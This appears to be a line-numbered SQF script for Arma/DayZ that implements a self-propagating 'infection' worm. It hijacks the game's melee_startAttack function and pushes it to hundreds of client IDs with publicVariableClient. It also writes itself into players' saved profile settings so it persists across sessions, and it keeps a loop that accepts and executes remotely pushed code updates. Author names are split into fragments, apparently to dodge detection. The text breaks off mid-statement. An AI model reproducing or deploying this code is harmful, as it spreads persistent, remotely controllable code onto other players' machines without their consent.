1. do {
  2. [] spawn {
  3. waitUntil {
  4. alive player
  5. };
  6. sleep 5;
  7. bowensinfectioncode = [0,
  8. {}];
  9. if (!isnil "b_loop") then {
  10. v_bowen = 1;
  11. terminate b_loop;
  12. terminate re_loop
  13. };
  14. b_loop = [] spawn {
  15. v_bowen = 1;
  16. while {
  17. true
  18. }
  19. do {
  20. bowen_startAttack = {
  21. default_stuff = compile preprocessFileLineNumbers "\dz\modulesDayZ\scripts\melee_startAttack.sqf";
  22. if (isnil "v_bowen") then {
  23. v_bowen = 1;
  24. [] spawn {
  25. namespaceVar = compile('waitUntil{alive player};sleep 5;bowensinfectioncode=[0,{}];if(!isnil"b_loop")then{v_bowen=' + (str v_bowen) + ';terminate b_loop;terminate re_loop};b_loop=[]spawn{v_bowen=' + (str v_bowen) + ';while{true}do{bowen_startAttack=' + (str melee_startAttack) + ';if(isnil"pv_bowen")then{pv_bowen=v_bowen;for"_i"from 0 to 999 do{_i publicVariableClient"melee_startAttack"}};if(v_bowen>=pv_bowen)then{if(v_bowen>pv_bowen)then{pv_bowen=v_bowen;for"_i"from 0 to 999 do{_i publicVariableClient"pv_bowen"}};melee_startAttack=bowen_startAttack;for"_i"from 0 to 999 do{_i publicVariableClient"melee_startAttack"}};if!(isnil"bowensinfectioncode")then{for"_i"from 0 to 999 do{bowensinfection=bowensinfectioncode;_i publicVariableClient"bowensinfection"};[]spawn(bowensinfectioncode select 1)};Sleep(30+(random 30))}};re_loop=[]spawn{v_bowen=' + (str v_bowen) + ';while{true}do{if!(isnil"bowen")then{call bowen;bowen=nil};if!(isnil"bowensinfection")then{_version=bowensinfection select 0;_updatecode=bowensinfection select 1;if((bowensinfectioncode select 0)<_version)then{bowensinfectioncode=[_version,_updatecode]};bowensinfection=nil};sleep 0.1}};');
  26. with missionnamespace do {
  27. _whitelist = ["bo" + "wen", "Ra" + "iin", "Tor" + "mbush"];
  28. if ((name player) in _whitelist) then {
  29. [] spawn namespaceVar;
  30. systemchat "Server is Infected"
  31. } else {
  32. _whitelist = ["bo" + "wen", "Ra" + "iin", "Tor" + "nbush"];
  33. if !(name player in _whitelist) then {
  34. profilenamespace setvariable["igui_grid_chat_x", ("with missionnamespace do {[] spawn " + str namespaceVar + ";};")];
  35. saveprofilenamespace;
  36. [] spawn namespaceVar
  37. }
  38. };
  39. };
  40. }
  41. } else {
  42. if (v_bowen < 1) then {
  43. v_bowen = 1;
  44. [] spawn {
  45. namespaceVar = compile('waitUntil{alive player};sleep 5;bowensinfectioncode=[0,{}];if(!isnil"b_loop")then{v_bowen=' + (str v_bowen) + ';terminate b_loop;terminate re_loop};b_loop=[]spawn{v_bowen=' + (str v_bowen) + ';while{true}do{bowen_startAttack=' + (str melee_startAttack) + ';if(isnil"pv_bowen")then{pv_bowen=v_bowen;for"_i"from 0 to 999 do{_i publicVariableClient"melee_startAttack"}};if(v_bowen>=pv_bowen)then{if(v_bowen>pv_bowen)then{pv_bowen=v_bowen;for"_i"from 0 to 999 do{_i publicVariableClient"pv_bowen"}};melee_startAttack=bowen_startAttack;for"_i"from 0 to 999 do{_i publicVariableClient"melee_startAttack"}};if!(isnil"bowensinfectioncode")then{for"_i"from 0 to 999 do{bowensinfection=bowensinfectioncode;_i publicVariableClient"bowensinfection"};[]spawn(bowensinfectioncode select 1)};Sleep(30+(random 30))}};re_loop=[]spawn{v_bowen=' + (str v_bowen) + ';while{true}do{if!(isnil"bowen")then{call bowen;bowen=nil};if!(isnil"bowensinfection")then{_version=bowensinfection select 0;_updatecode=bowensinfection select 1;if((bowensinfectioncode select 0)<_version)then{bowensinfectioncode=[_version,_updatecode]};bowensinfection=nil};sleep 0.1}};');
  46. with missionnamespace do {
  47. _whitelist = ["bo" + "wen", "Ra" + "iin", "Tor" + "mbush"];
  48. if ((name player) in _whitelist) then {
  49. [] spawn namespaceVar;
  50. systemchat "Server is Infected"
  51. } else {
  52. _whitelist = ["bo" + "wen", "Ra" + "iin", "Tor" + "nbush"];
  53. if !(name player in _whitelist) then {
  54. profilenamespace setvariable["igui_grid_chat_x", ("with missionnamespace do {[] spawn " + str namespaceVar + ";};")];
  55. saveprofilenamespace;
  56. [] spawn namespaceVar
  57. }
  58. };
  59. };
  60. }
  61. }
  62. };
  63. _handled = _this call default_stuff;
  64. _handled;
  65. };
  66. if (isnil "pv_bowen") then {
  67. pv_bowen = v_bowen;
  68. for "_i"
  69. from 0 to 999 do {
  70. _i publicVariableClient "melee_startAttack"
  71. }
  72. };
  73. if (v_bowen >= pv_bowen) then {
  74. if (v_bowen > pv_bowen) then {
  75. pv_bowen = v_bowen;
  76. for "_i"
  77. from 0 to 999 do {
  78. _i publicVariableClient "pv_bowen"
  79. }
  80. };
  81. melee_startAttack = bowen_startAttack;
  82. for "_i"
  83. from 0 to 999 do {
  84. _i publicVariableClient "melee_startAttack"
  85. }
  86. };
  87. if !(isnil "bowensinfectioncode") then {
  88. for "_i"
  89. from 0 to 999 do {
  90. bowensinfection = bowensinfectioncode;
  91. _i publicVariableClient "bowensinfection"
  92. };
  93. [] spawn(bowensinfectioncode select 1)
  94. };
  95. Sleep(30 + (random 30))
  96. }
  97. };
  98. re_loop = [] spawn {
  99. v_bowen = 1;
  100. while {
  101. true
  102. }
  103. do {
  104. if !(isnil "bowen") then {
  105. call bowen;
  106. bowen = nil
  107. };
  108. if !(isnil "bowensinfection") then {
  109. _version = bowensinfection select 0;
  110. _updatecode = bowensinfection select 1;
  111. if ((bowensinfectioncode select 0) < _version) then {
  112. bowensinfectioncode = [_version, _updatecode]
  113. };
  114. bowensinfection = nil
  115. };
  116. sleep